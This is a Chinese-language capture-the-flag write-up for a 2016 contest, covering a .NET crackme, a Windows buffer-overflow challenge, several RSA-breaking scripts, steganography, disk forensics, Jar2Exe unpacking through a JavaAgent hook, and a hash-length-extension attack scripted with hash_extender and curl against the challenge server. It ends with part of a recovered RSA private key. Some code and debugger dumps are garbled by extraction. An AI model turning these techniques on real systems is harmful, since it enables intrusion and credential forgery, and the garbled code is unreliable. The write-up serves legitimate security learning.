        MessageBox.Show(smethod_8<string>(0xb0ff0336) + str2, smethod_5<string>(0x589eb41), MessageBoxButtons.OK, MessageBoxIcon.Hand);
        this.textBox_0.Text = "";
    }
}
```

对于输入的字符串,进行了加密,如下:

```
public static string smethod_0(string string_0)
{
   byte[] bytes = Encoding.UTF8.GetBytes(smethod_7<string>(0x7f0e6191));
   byte[] inputBuffer = Encoding.UTF8.GetBytes(string_0);
   RijndaelManaged managed = new RijndaelManaged {
        Key = bytes,
        Mode = CipherMode.ECB,
        Padding = PaddingMode.PKCS7
   };
   byte[] inArray = managed.CreateEncryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
   return Convert.ToBase64String(inArray, 0, inArray.Length);
}
```

加密使用的 key 以及最后作比较的数在这里没法直接看到,再去静态看比较费劲,于是动

```
态调试,得到如下:
                             X 01E C 5 047
 りてとじちりりに
 01EC5011
            8B45 D0
                           mov eax,dword ptr ss:[ebp-0x30]
            8945 B0
 01EC5014
                           mov dword ptr ss:[ebp-0x50],eax
            B9 21F10E7E
                           mov ecx,0x7E0EF121
 01EC5017
01EC501C
                           mov edx,0x418560
            BA 60854100
            E8 OAEEFFFF
                               01EC3E30
 01EC5021
 01EC5026
            8945 AC
                           mov dword ptr ss:[ebp-0x54],eax
                           mov ecx,dword ptr ss:[ebp-0x50]
 01EC5029
            8B4D B0
                           mov edx,dword ptr ss:[ebp-0x54]
 01EC502C
            8B55 AC
 01EC502F
            E8 7C70F376
                                mscorlib.78DFC0B0
 01FC503Ji
            ያወንድ ኮር
                               dword ntr cc.[ohn=8v2]:1
 eax=01FD6DA4
 堆栈 ss:[002EE958]=00000000
地址
          ASCII 数据
 01FD6DA4 ■>駒,...x./.n.z.o.l.o.0.T.T.I.y.
 01FD6DC4 r.E.I.S.d.4.A.P.1.s.p.C.z.l.h.S.
 01FD6DE4 W.J.X.e.N.b.Y.8.1.S.j.P.g.m.k.=.
 91FD6E84 .........■>駒丫...艾永剛羅?ΰ......
חבט awora ptr ss:[eop-wx24],eax
りてとじちてち4|
01EC5157
          90
01EC5158
          E8 D375FD76
                             mscorlib.78E9C730
                        mov dword ptr ss:[ebp-0x28],eax
01EC515D
          8945 D8
                        mov ecx,0x7F0E6191
          B9 91610E7F
01EC5160
01EC5165
          BA 58864100
                        mov edx,0x418658
01EC516A
          E8 31F5FFFF
                            01EC46A0
                        mov dword ptr ss:[ebp-0x2C],eax
01EC516F
          8945 D4
          8B4D D8
                        mov ecx,dword ptr ss:[ebp-0x28]
01EC5172
01EC5175
          8B55 D4
                        mov edx,dword ptr ss:[ebp-0x2C]
01EC5178
          8B 01
                        mov eax,dword ptr ds:[ecx]
01FC5170
          សមាម
eax=01FD2974
堆栈 ss:[002EE924]=00000000
        ASCII 数据
地址
                                                                           ាធ
                                                                            00
01FD2974 ■>駒 ...p.c.t.f.2.0.1.6.p.c.t.f.
                                                                            00
01FD2994 2.0.1.6.p.c.t.f.2.0.1.6.p.c.t.f
```

在手动编写一个 C#代码来解密即可得到 flag:

```
string key = "pctf2016pctf2016pctf2016pctf2016":

Console.WriteLine(EncryptStringToBytes(key, plainText)):
// Decrypt the bytes to a string.
///
string target = "x/nzolo0TTIyrEISd4AP1spCzlhSWJXeNbY81SjPgmk=":
string roundtrip = DecryptStringFromBytes(key, target);

//Display the original data and the decrypted data
Interpretation of the decryptStringFromBytes(key, target):
//Display the original data and the decrypted data
Interpretation of the decryptStringFromBytes(key, target):
//Display the original data and the decrypted data
//Display the original da
```

### **Backdoor**

根据反编译代码可以看出,很明显就是 windows 的缓冲区溢出,在在这只需要将长度计算好就可以,如下:

```
cbMultiByte = WideCharToMultiByte(1u, 0, (LPCWSTR)argv[1], -1, 0, 0, 0, 0);
lpMultiByteStr = (LPSTR)new(cbMultiByte);
WideCharToMultiByte(1u, 0, (LPCWSTR)argv[1], -1, lpMultiByteStr, cbMultiByte, 0, 0);
count = *(_WORD *)lpMultiByteStr;
if ( count >= 0 )
{
  count ^= 0x6443u;
  strcpy(dest, "0");
memset(&Dst, 0, 0x1FEu);
  for ( i = 0; i < count; ++i )
  dest[i] = 'A';
strcpy(Source, "\x12E");</pre>
  strcpy(&dest[count], Source);
qmemcpy(&v6, code_90_4021fc, 26u);
  strcpy(&v11[count], &v6);
qmemcpy(v4, shellcode_402168, sizeof(v4));
  υ5 = 0;
  strcpy(&v12[count], v4);
  sub_401000(dest);
  result = 0;
else
  result = -1;
```

经调试,发现长度设为 0x24 时,刚好可以跳到 shellcode 处,从而推出来参数的是 gd, 最终 flag 为:

2b88144311832d59ef138600c90be12a821c7cf01a9dc56a925893325c0af99f

#### hard RSA

这题和 medium 的思路一样,先提 N,e,发现 e=2,那这是 Rabin RSA,这里有个课件 http://www.doc88.com/p-591324296553.html

```
原理都在里面
```

```
关键是扩展欧几里得求课件中的 a , b a=0 b=0 def exGcd(p,q): global a,b if q==0:
```

```
b=0
      return p
   r=exGcd(q,p%q)
  t=a
   a=b
  b=t-p/q*b
   print (p,q)
   return r
然后呢,求四个可能的解就好了,c是密文
c=0x39de036de3132757e819f769ead64bb487ee3f47e67843afb73748fd9e979be0
r = pow(c, (p+1)/4, p)
s = pow(c, (q+1)/4, q)
x=(a*p*s+b*q*r)%N
y=(a*p*s-b*q*r)%N
print "4result"
print hex(x%N)
print hex((-x)\%N)
print hex(y%N)
print hex((-y)%N)
把 4 个结果的十六进制转为 ASCII
print
"44ac112305d800ec0fcc5092de9a1065c76362901960de86ca50d42f8c56bfa0".dec
ode("hex")
print
"7db759c2be00e353ebcb5a7623f50a46a4a8943d24100d435dcb2bb9f367713d".d
ecode("hex")
print
"c2608fb3380c28df24588c1c408eca6917c57b59cd3d8860f3afa0770c5cb3d3".deco
de("hex")
print
"02db328bccbb60d73f1eecc200504354467b7370336369346c5f7273617d0a".deco
de("hex")
```

a=1

#### 4result

0x44ac112305d800ec0fcc5092de9a1065c76362901960de86ca50d42f8c56bfa0L 0x7db759c2be00e353ebcb5a7623f50a46a4a8943d24100d435dcb2bb9f367713dL 0xc2608fb3380c28df24588c1c408eca6917c57b59cd3d8860f3afa0770c5cb3d3L 0x2db328bccbb60d73f1eecc200504354467b7370336369346c5f7273617d0aL

#### **SCAN**

看源 ip, 找到第四个出现的 ip, 那个包就是第四次扫描

#### A Piece Of Cake

直接用古典密码工具解就行了

#### http://quipqiup.com/index.php

| Status | s: Finished | (5.004 seconds)   |
|--------|-------------|---|
| Rank   | Score       | Solution  |
| 1      | -1.778      | the word robot can refer to both physical robots and virtual software agents, but the latter are usually referred to as bots, there is no consensus on which machines qualify as robots but there is general agreement among experts, and the public, that robots tend to do some or all of the following: accept electronic programming, process data or physical perceptions electronically, operate autonomously to some degree, move around, operate physical parts of itself or physical processes, sense and manipulate their environment, and exhibit intelligent behavior — especially behavior which mimics humans or other animals. flag is substitutepassisveryeasyyougotit. closely related to the concept of a robot is the field of synthetic biology, which studies entities whose nature is more comparable to beings than to machines. |
|        |             |   |

#### Class<sub>10</sub>

Wooyun 的 drop 上有一篇隐写的讲的就是这题,有一个多余的 idat 段,提出来发现是 30,31 当成 0,1 比特去处理,正好 29x29 个,可以构造一个二维码出来,扫一扫就出 flag import zlib

import binascii

IDAT =

"789C6D920B1AC3200883AF94DCFF725B953CD8AA7EB68AC84F04388DDF41E21 9A74F2399AD7B60261E1F9C85DC29DF1833BD1827627CFBA2631089637AB97AC 1361FBD655EC890A519838809968BEE6222EBA74246B0098B9F1C74AABE307B296 85491DCE4D1A193C35F7B53A66F2A7C8DCEBE705852284703C0D5D0845D3152A 39E0021762955F5E9FC2E369ADBD7399D9104F1B2DA862D292CDDF6DC6A34BFA B73ABED17778D3CF307FE749F40".decode('hex')


result = binascii.hexlify(zlib.decompress(IDAT))
result=result.decode("hex")
print result

import Image


```
MAX = 29
pic = Image.new("RGB",(MAX*10, MAX*10))
str
11011010000000001111100001100011110011"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
 if(str[i] == '0'):
  for ii in range (x*10,x*10+10):
  for jj in range (y*10,y*10+10):
   pic.putpixel([ii,jj],(0, 0, 0))
 else:
  for ii in range (x*10,x*10+10):
  for jj in range (y*10,y*10+10):
   pic.putpixel([ii,jj],(255,255,255))
 i = i+1
pic.show()
```

## 取证2


还是 windows 的工具好用,用 Elcomsoft Forensic Disk Decryptor,直接选择磁盘解密,把内存也选上,就解出来了



#### 解密后发现是一个 fat32 的硬盘



#### 直接 diskgenius 打开就看到了



#### **Fibonacci**

jar2exe,而且丧心病狂的用了最大加密。

攻略都在这, 坑就是你要用 64 位的 od 去调

http://reverseengineeringtips.blogspot.com/2014/12/unpacking-jar2exe-21-extracting-jar.html

耐心点还是能 dump 出来的, 然后 jd-gui 看源码,

```
public class Fibonacci
} {
   private static void heheda()
     String bb = new String(\underline{b}.\underline{x});
     String cb = new String(\underline{b}.\underline{v});
     String m = hello(cb, bb);
   public static void main(String[] args)
     System.out.println("来让我们玩一个数列游戏:");
     System.out.println("a[0]=0,a[1]=1");
     System.out.println("a[2]=1,a[3]=2");
     System.out.println("a[4]=3,a[5]=5");
     System.out.println("....");
     System.out.println("请计算a[100000000000000]: ");
     Scanner scan = new Scanner(System.in);
     String read = scan.nextLine();
     read = read;
     System.out.println("答案错误!!");
那就修改成这样,就能出结果
     */ package top.phrack.ctf.Fibonacci;
      */ public class Fibonacci
     */ {
      */
           private static void heheda()
     */
/* 11 */
             String bb = new String(b.x);
/* 12 */
             String cb = new String(b.y);
/* 13 */
             String m = hello(cb, bb);
             System.out.println(m);
           }
      */
/*
          public static void main(String[] args) {
/* 17 */
             heheda();
```

不过还有一个坑就是编码问题,不知道 b.class 里的 char 数组是啥字符编码,直接反编译的代码复制过来妥妥的跪换一个做法,自己用解出来的源码打包一个jar,把jar里的b.class换成 dump 出来的,执行就出结果。

PCTF{1ts not 5c2ipt Chall3nge}

虽然我一开始是这么粗暴的 dump 出来,但是后来想想有没有优雅的方式,如果能 hook

```
掉 jre 应该就能不用 od 就做出来,去找了还真人这么干过
http://blog.csdn.net/RaviNow/article/details/51123839
作者写了一个 e2i 的项目,利用 JavaAgent 来 dump 出 jar,而 JavaAgent 就是 hook 掉
jre 的一个好方法
把 e2i 复制到和 Fibonacci.exe 同目录,在命令行下执行
set JAVA TOOL OPTIONS=-javaagent:e2j-agent.jar
Fibonacci.exe
这时候就会发现 dump 出来一个 jar,用 jd-gui 打开就能发现 dump 出了 Fibonacci 这个
class,不过很遗憾 class b 还是不知道,原因是 class b 就没加载过,e2j 自然没法获取,
不过我们还是有办法,不过这次得自己写代码来 hook jre。
以下内容需要了解 JavaAgent 的知识,我们可以把 e2j 的 Entrypoint 改为
class Transformer implements ClassFileTransformer {
   public static final String classHack = "c:\\hack\\1.class";
   public static byte[] getBytesFromFile(String fileName) {
      try {
         File file = new File(fileName);
         InputStream is = new FileInputStream(file);
         long length = file.length();
         byte[] bytes = new byte[(int) length];
         int offset = 0:
         int numRead = 0;
         while (offset <bytes.length
               && (numRead = is.read(bytes, offset, bytes.length - offset)) >= 0)
{
            offset += numRead;
        }
         if (offset < bytes.length) {
            throw new IOException("Could not completely read file "
                  + file.getName());
        }
         is.close();
         return bytes;
      } catch (Exception e) {
         System.out.println("error occurs in ClassTransformer!"
               + e.getClass().getName());
         return null;
      }
```

```
}
   public byte[] transform(ClassLoader I, String className, Class <? > c,
        ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
       System.out.println(className);
      if (!className.equals("top/phrack/ctf/Fibonacci/Fibonacci")) {
         return null;
     }
      return getBytesFromFile(classHack);
  }
}
public class Entrypoint {
 public static void premain(String options, Instrumentation instr) {
   instr.addTransformer(new Transformer());
 }
}
1.class 就是由这个类编译出来的
   */ public class Fibonacci
   */ {
   */
          private static void heheda()
11 */
            String bb = new String(b.x);
12 */
            String cb = new String(b.y);
13 */
            String m = hello(cb, bb);
            System.out.println(m);
          }
          public static void main(String[] args) {
17 */
            heheda();
   */
          }
重新编译 e2j-agent.jar , 然后执行
set JAVA TOOL OPTIONS=-javaagent:e2j-agent.jar
Fibonacci.exe
```

```
C:\Users\火日工具\Desktop\e2j-master>Fibonacci.exe
Picked up JAVA_TOOL_OPTIONS: -javaagent:e2j-agent.jar
java/lang/invoke/MethodHandleImpl
java/lang/invoke/MemberName$Factory
java/lang/invoke/LambdaForm$NamedFunction
java/lang/invoke/MethodType$ConcurrentWeakInternSet
java/lang/invoke/MethodHandleStatics
java/lang/invoke/MethodHandleStatics$1
java/lang/invoke/MethodTypeForm
java/lang/invoke/Invokers
java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry
java/lang/Void
java/lang/IllegalAccessException
sun/misc/PostVMInitHook
com/regexlab/j2e/Handler
com/regexlab/j2e/Handler$1
top/phrack/ctf/Fibonacci/Fibonacci
top/phrack/ctf/Fibonacci/b
CTF{1ts_not_5c2ipt_Chall3nge}
java/lang/shutdown
java/lang/Shutdown$Lock
```

### very hard RSA

这题是 rsa 的共模攻击,可以看 <a href="http://bluereader.org/article/44078790">http://bluereader.org/article/44078790</a> 的介绍,需要求模反可以用上面提到的工具

```
fo1 = open('flag.enc1','rb')
fo2 = open('flag.enc2','rb')
datafo1 = fo1.read()
fo1.close()
datafo2 = fo2.read()
fo2.close()
c1 = int(datafo1.encode('hex'),16)
c2 = int(datafo2.encode('hex'),16)
n=
```

0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee310 4580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42 fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da7 75502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80 017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69 984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e 93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc 6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324 ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa01 0b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef93 5d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e6

11c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9 c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd00 22ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803 e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929L

e1 = 17 e2 = 65537

s1 = 30841

s2 = -8

s2 = - s2

c2

```
m= pow(c1,s1,n)*pow(c2,s2,n)% n
print format(m,'x').decode('hex')
& ቀን ተቀር ቀን ቀን ተቀር ቀን ተቀር
```

## flag 在管理员手里

这题是 PlaidCTF 2014 Web-150 改来的

https://blog.skullsecurity.org/2014/plaidctf-web-150-mtpox-hash-extension-attack

for i in `./hash\_extender --data ';"tseug":5:s' -s 3a4727d57463f122833d9e732f94e4e0 --append ';"nimda":5:s' --secret-min=1 --secret-max=32 --out-data-format=html`; do HASH=`echo \$i | sed 's/,\*//'`; DATA=`echo \$i | sed 's/.\*,//'`; echo "\$DATA :: \$HASH"; curl -b "role=\$DATA;hsh=\$HASH" http://web.phrack.top:32785/ >> 1.txt; echo; done 查看 1.txt 搜索 PCTF 即可

## **Extremely hard RSA**

```
原理不难,就是由于e为3太小了,可以不断的加n开三次方,直到正好开成功为止import gmpy fo = open('flag.enc','rb') datafo = fo.read() fo.close() c = int(datafo.encode('hex'),16)
```

N=0xB0BEE5E3E9E5A7E8D00B493355C618FC8C7D7D03B82E409951C182F398DEE 3104580E7BA70D383AE5311475656E8A964D380CB157F48C951ADFA65DB0B122C A40E42FA709189B719A4F0D746E2F6069BAF11CEBD650F14B93C977352FD13B1EE A6D6E1DA775502ABFF89D3A8B3615FD0DB49B88A976BC20568489284E181F6F11 E270891C8EF80017BAD238E363039A458470F1749101BC29949D3A4F4038D4639 38851579C7525A69984F15B5667F34209B70EB261136947FA123E549DFFF0060188 3AFD936FE411E006E4E93D1A00B0FEA541BBFC8C5186CB6220503A94B2413110D 640C77EA54BA3220FC8F4CC6CE77151E29B3E06578C478BD1BEBE04589EF9A197F 6F806DB8B3ECD826CAD24F5324CCDEC6E8FEAD2C2150068602C8DCDC59402CC AC9424B790048CCDD9327068095EFA010B7F196C74BA8C37B128F9E1411751633 F78B7B9E56F71F77A1B4DAAD3FC54B5E7EF935D9A72FB176759765522B4BBC02E 314D5C06B64D5054B7B096C601236E6CCF45B5E611C805D335DBAB0C35D226CC 208D8CE4736BA39A0354426FAE006C7FE52D5267DCFB9C3884F51FDDFDF4A9794 BCFE0E1557113749E6C8EF421DBA263AFF68739CE00ED80FD0022EF92D3488F76D EB62BDEF7BEA6026F22A1D25AA2A92D124414A8021FE0C174B9803E6BB5FAD75E 186A946A17280770F1243F4387446CCCEB2222A965CC30B3929

```
e=3
i=0
while 1:
res=gmpy.root(c+i*N, 3)
```

```
if(res[1]==1):
    print res
    break
i=i+1
```

## **God Like RSA**

其实是 pctf 的一题,原题地址 http://mslc.ctf.su/wp/plaidctf-2014-rsa-writeup/

```
#!/usr/bin/python
#-*- coding:utf-8 -*-
import re
import pickle
from itertools import product
from libnum import invmod, gcd
def solve linear(a, b, mod):
  if a \& 1 == 0 or b \& 1 == 0:
     return None
  return (b * invmod(a, mod)) & (mod - 1) # hack for mod = power of 2
def to_n(s):
  s = re.sub(r"[^0-9a-f]", "", s)
  return int(s, 16)
def msk(s):
  cleaned = "".join(map(lambda x: x[-2:], s.split(":")))
  return msk ranges(cleaned), msk mask(cleaned), msk val(cleaned)
def msk_ranges(s):
  return [range(16) if c == " " else [int(c, 16)] for c in s]
def msk mask(s):
  return int("".join("0" if c == " " else "f" for c in s), 16)
def msk val(s):
  return int("".join("0" if c == " " else c for c in s), 16)
E = 0x10001
```

```
N = to n("""00:c0:97:78:53:45:64:84:7d:8c:c4:b4:20:e9:33:
   58:67:ec:78:3e:6c:f5:f0:5c:a0:3e:ee:dc:25:63:
   d0:eb:2a:9e:ba:8f:19:52:a2:67:0b:e7:6e:b2:34:
   b8:6d:50:76:e0:6a:d1:03:cf:77:33:d8:b1:e9:d7:
   3b:e5:eb:1c:65:0c:25:96:fd:96:20:b9:7a:de:1d:
   bf:fd:f2:b6:bf:81:3e:3e:47:44:43:98:bf:65:2f:
   67:7e:27:75:f9:56:47:ba:c4:f0:4e:67:2b:da:e0:
   1a:77:14:40:29:c1:a8:67:5a:8f:f5:2e:be:8e:82:
   31:3d:43:26:d4:97:86:29:15:14:a9:69:36:2c:76:
   ed:b5:90:eb:ec:6f:ce:d5:ca:24:1c:aa:f6:63:f8:
   06:a2:62:cb:26:74:d3:5b:82:4b:b6:d5:e0:49:32:
   7b:62:f8:05:c4:f7:0e:86:59:9b:f3:17:25:02:aa:
   3c:97:78:84:7b:16:fd:1a:f5:67:cf:03:17:97:d0:
   c6:69:85:f0:8d:fa:ce:ee:68:24:63:06:24:e1:e4:
  4c:f8:e9:ad:25:c7:e0:c0:15:bb:b4:67:48:90:03:
   9b:20:7f:0c:17:eb:9d:13:44:ab:ab:08:a5:c3:dc:
   c1:98:88:c5:ce:4f:5a:87:9b:0b:bf:bd:d7:0e:a9:
   09:59:81:fa:88:4f:59:60:6b:84:84:ad:d9:c7:25:
   8c:e8:c0:e8:f7:26:9e:37:95:7c:e1:48:29:0f:51:
   e7:bd:98:2f:f6:cc:80:e7:f0:32:0b:89:51:92:4e:
   c2:6d:50:53:2b:3b:77:72:d1:bd:1a:1f:92:d7:12:
   79:61:61:c5:a4:7e:b3:85:eb:f0:7c:6d:46:03:c5:
   e6:d5:81:2c:ba:7e:ea:8d:51:7d:63:55:34:2a:b6:
   d4:dc:31:5a:f1:99:e3:dc:8c:83:0b:a2:2a:d5:3c:
  41:48:41:54:1a:a9:e8:b6:70:bf:d3:fe:ed:19:17:
   14:94:13:b3:17:e3:8b:8e:6f:53:ed:e2:44:e8:4a:
   32:d6:5c:0d:a8:80:f5:fc:02:e9:46:55:d5:a4:d3:
   e7:c6:30:77:f9:73:e9:44:52:d8:13:9d:5d:bf:9e:
   fa:3a:b5:96:79:82:5b:cd:19:5c:06:a9:00:96:fd:
  4c:a4:73:88:1a:ec:3c:11:de:b9:3d:e0:50:00:1e:
   ac:21:97:a1:96:7d:6b:15:f9:6c:c9:34:7f:70:d7:
   9d:2d:d1:48:4a:81:71:f8:12:dd:32:ba:64:31:60:
  08:26:4b:09:22:03:83:90:17:7f:f3:a7:72:57:bf:
   89:6d:e4:d7:40:24:8b:7b:bd:df:33:c0:ff:30:2e:
   e8:6c:1d""")
```

```
:ab: e: 2: 8:c: : : 1:6:6:6: f:d9: 0:
  8:5c:7:06: : : :0:3:5:4b: :6: : :
  2: :6: : :2:bc: c: :85:1:1:d:3:
   1:b4: : b: 1: 3: d:a : : :6e: 0:b :2 : :
   :b::9:e::82:8d:::13:::a:a:
   : :4: :c:f: : :7:e:0a: : :b:5:
   : e:91:3 : :3c: 9: :6: : :b5:7d: 1: :
   : : :b :a1:99:6 :4 :3 :c :1a:02:4 : : 9:
  9 :f : d:bd: :0 : : :b3: :4: :e9: 9:
   : d: : :7: :93: : e:dc: :0: :e7: :
  e: :2:b: 2:5: :: : c:5f: :: e2:
   ::9::2a::e::2::9f:7:3::
  b:f:b::8:7::f:6:e:c::3::
  f7: 5: 8: 5: : : : 8: e: :03: c: :
  33:76:e:1:7:c::0::0b::a::2:9:
   :c8:bf: : :06: 7:d5: :02: c:b :e2: 7:2 :
   : """)
q_ranges, qmask_msk, qmask_val = msk(""" 0: f: :d0: 1:55: 4:31: : b:c4:8 : : e: d:
  34: 3:f::::8:99:1::a:0:::4:
  0: :f: :a4:41:2: :a: :1: :a: c: :
   ::9::2:f4:f:::1:4:9:
  a:::79:0:::2:8:b::4:8:
   :9b: 1: :d: :f:e4: :4:c:e: :3: :
   7:2: :d:8:2:7: :d:67:fc:e:0:f9:7:
  8::::1:2f:::51:::2e:0a::e:3d::6:
  b: :dd: :0:fb: :f4: : :b4:9:c: :
   a: : : :d: : :6b: 2: :9b: a:60: :d6:
   0:4f:16:d1: : :5:fc: :f: :8: : :
   1: 6:e1:9 : e:4 : 6: c: d:d :73: 3: : :7 :
   :8:9: :3b:f:2: ::f1:e: : :1e: :
  8:::6:0:4:99:e::5:::4:::
   : a:81:64: :7 :f : 9: d: :9 : :7:93:f :
  ac:8c: :8: :0: d:8: :7: :1d: :f::
  1 :a :6 :8 : :60: :b3: : :89: : :14:
   :5 """)
_, dmask_msk, dmask_val = msk(""" : : : f:8 :a5:d : 2: 0:b :7 : : 1: : 4:
```

```
1:0d: :3: :6: : :b: : :e: :
  0e: 0:db: :1a:1c:c0: : e: : :99:bc:8 :a5:
  7:7:7:b:::8:8::7:55:2:::f:
  b2: : :b:f:4: :8: :b::::0::
  0: :6:9: : : b: 4: : 0: a: 5:07:b:
   9: c:9a: 9: : 7:9e: : b:60:f: : : : :0:
   : 3:0 : : : 1:b : : : b: 6:0 :f : :
   : 2:18: 6: b:1 : : : : :d3:f3: :a : :
   3: : : : 3: d: 1: 2:7 : : d: : 2: d:
   : : d:4 : :d : :6d: c:a :b6: : : :1:
  69: : 7: :89: :c:8:61: d:25: 3:7:1b: 4:
  b: :8:55: :49:1:2:3: :1:e9:a8:3: :
  9::1:f8:d3::e:::d::9:b6:::71:
  1 : :c1: : b: 1: : 6:e : :64: : :1a:c :
   : b: :bf:c: : 0: :8:a:4: :26:a:5:
  6::::eb:::e5:a:::3e:f9:10:0::::
   6:0: :8: :1:72: c:0: f:5: f:9c: 0: e:
   7:b::::::d9:4:::e:c::68:::::
   c: :3a: : :a0:ea: 3: 4: :72:a :d : 8: :
    :0d:5 :0 : a: 7:c :bb: 6: 4:a :ce:d :2 : 1:
    : :17:6 : : c: b: : f: :3 : 5:6 :3 :0e:
    : 7:c :3e: 2: 9: 7: 6: f: e: f: 9: :f3: 9:
  a :c1:6: :1:9: :43: :f:5: :0:27:4:
  4 :a : :e9: : 8: 4:3 :8a: 6:16:d5:c : e: e:
    :d:c:b:a8::7::9::7:7d::::
   : : :4:2: :3:3:6: : :7b:0: :
   e: :0: :a: :5: : :5:1:82:c:0d:
  4:2:fd:36:5:50:0:::d:f:6::e:
  0:::ce:::9e:8:::0:d::07:b3::::
  0 :e4: : :68:b :c : :c:5 : :3 : 7: 2:
   c:e0: :5: : :b4: :ef: 7: :1:e:0:f:
   :6::::e0:c:3:::3:::d:::
   3: 3: c: a: :b: a:71: 3: 0:a: :4:5d: :
  0 :4 """)
_, dpmask_msk, dpmask_val = msk(""" : 3:2a: : d: : : : :0:1 : f: : : 6:
   1 :2 :1b:07: a:e :b :c5:58:7 : :e8: 7: 1: c:
    : 1:b :a0: 4:0f:5 :67: :3 :7 :6 :f9: : c:
```

```
:79: 0:1 :65: :8: :99: d:d: :2:9:0:
   e: :0: : : d: :d::7:6:a9:a:8b:b:
    : : 7: a:37: : :7:1:6: :c2: 7:6:b:
   e: : : : : : : : : : : : : :
    : : :cd:8 : :d: :7 : 3: :f:e : c: :
    : a: :c:f:c:7:b:5: : :2:8:8:6:
  0a: a: : :3 :db: : 4:00: : d: :b:5: :
   20: 2: 5: :82: : 0: 6: :8a: :7: : 8: :
   4: 1: : : 8:46: : : : : 0:f :c8:
  2::c:7::1::2:0:5:::1:9b:
   6:9:0:74: :c: :e: : :cb:b:3:3:: :
   2: : :47: :2:0:5: : : d: 6:83: : :
    :c7: : :0b: : : c: :3:8: :9:4:7:
   5 :c0:fe: :f9: 1: :0 : e: 8:02: : f: :c:
   55:61""")
_, dqmask_msk, dqmask_val = msk(""" :0b:7 :4 :0 : 0:6 : 7:7e: :5: :7: :a:
   a :d : 0: 6: 4:86: : :8 : : : :e :8f:
   9: : : 1: :2: :7: b:1:5:f: :8:
    :d:21: :e:d: :c9:e:b: ::1:::
    :d:a2:b7: : :f3: :42: :e:c: :f:
    : 0:f :7 : 4: 5:34: :4 : c: : :8 :d : 8:
   5 :af: 3:1d: 5:4 : :2 : :6 :c : 6:a :1 :5 :
   a:9: :d:::0a:a1: :f:7:9:b:::
   f:2:27: f: :0:f6:4d: : : : :5: :
   4:08: : 5: : 8: 5: : : :18: 4: 8:57: 2:
   f: a: : :a8: f: c:f: e: 1:9 :c : 4:9 : :
    : : : : : 1: :2: :d1: :6:e:d: :
    : f:04:2 :8d: : 3: : :b:8: :d6: :2:
    : : :6: :f: : :0:6: :51: :48:19:
    : :: :69:4 : c: :c :: :f: :f4:d :: :f:
   d:0:0d:b:3:3:2: : :6:b:5:2: :c:
   1:5a: f:f: : :7e:3e: :d:f:0:d:c:6:
   1""")
def search(K, Kp, Kq, check level, break step):
```

max step = 0

```
cands = [0]
for step in range(1, break step + 1):
  #print " ", step, "( max = ", max step, ")"
  max_step = max(step, max_step)
  mod = 1 << (4 * step)
  mask = mod - 1
  cands next = []
  for p, new_digit in product(cands, p_ranges[-step]):
     pval = (new_digit << ((step - 1) * 4)) | p
     if check_level >= 1:
       qval = solve linear(pval, N & mask, mod)
       if qval is None or not check val(qval, mask, qmask msk, qmask val):
          continue
     if check_level >= 2:
       val = solve linear(E, 1 + K * (N - pval - qval + 1), mod)
       if val is None or not check_val(val, mask, dmask_msk, dmask_val):
          continue
     if check level >= 3:
       val = solve_linear(E, 1 + Kp * (pval - 1), mod)
       if val is None or not check val(val, mask, dpmask msk, dpmask val):
          continue
     if check level >= 4:
       val = solve linear(E, 1 + Kq * (qval - 1), mod)
       if val is None or not check_val(val, mask, dqmask_msk, dqmask_val):
          continue
       if pval * qval == N:
          print "Kq =", Kq
          print "pwned"
          print "p =", pval
          print "q =", qval
          p = pval
```

```
q = qval
             d = invmod(E, (p - 1) * (q - 1))
             coef = invmod(p, q)
            from Crypto.PublicKey import RSA
             print RSA.construct(map(long, (N, E, d, p, q, coef))).exportKey()
             quit()
        cands next.append(pval)
     if not cands_next:
        return False
     cands = cands_next
   return True
def check_val(val, mask, mask_msk, mask_val):
  test_mask = mask_msk & mask
  test_val = mask_val & mask
  return val & test_mask == test_val
# K = 4695
# Kp = 15700
\# Kq = 5155
for K in range(1, E):
  if K % 100 == 0:
     print "checking", K
  if search(K, 0, 0, check level=2, break step=20):
     print "K =", K
     break
for Kp in range(1, E):
   if Kp \% 1000 == 0:
     print "checking", Kp
  if search(K, Kp, 0, check_level=3, break_step=30):
```

```
print "Kp =", Kp
    break
for Kq in range(1, E):
  if Kq \% 100 == 0:
    print "checking", Kg
  if search(K, Kp, Kq, check level=4, break step=9999):
    print "Kq =", Kq
    break
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAwJd4U0VkhH2MxLQg6TNYZ+x4Pmz18FygPu7cJWPQ6yqeuo8
Ζ
UqJnC+dusjS4bVB24GrRA893M9ix6dc75escZQwllv2WlLl63h2//fK2v4E+PkdE
Q5i/ZS9nfid1+VZHusTwTmcr2uAadxRAKcGoZ1qP9S6+jolxPUMm1JeGKRUUqWk2
LHbttZDr7G/O1cokHKr2Y/gGomLLJnTTW4JLttXgSTJ7YvgFxPcOhlmb8xclAqo8
l3iEexb9GvVnzwMXl9DGaYXwjfrO7mgkYwYk4eRM+OmtJcfgwBW7tGdlkAOblH8M
F+udE0Srgwilw9zBmIjFzk9ah5sLv73XDgkJWYH6iE9ZYGuEhK3ZxyWM6MDo9yae
N5V84UgpD1HnvZqv9syA5/AyC4lRkk7CbVBTKzt3ctG9Gh+S1xJ5YWHFpH6zhevw
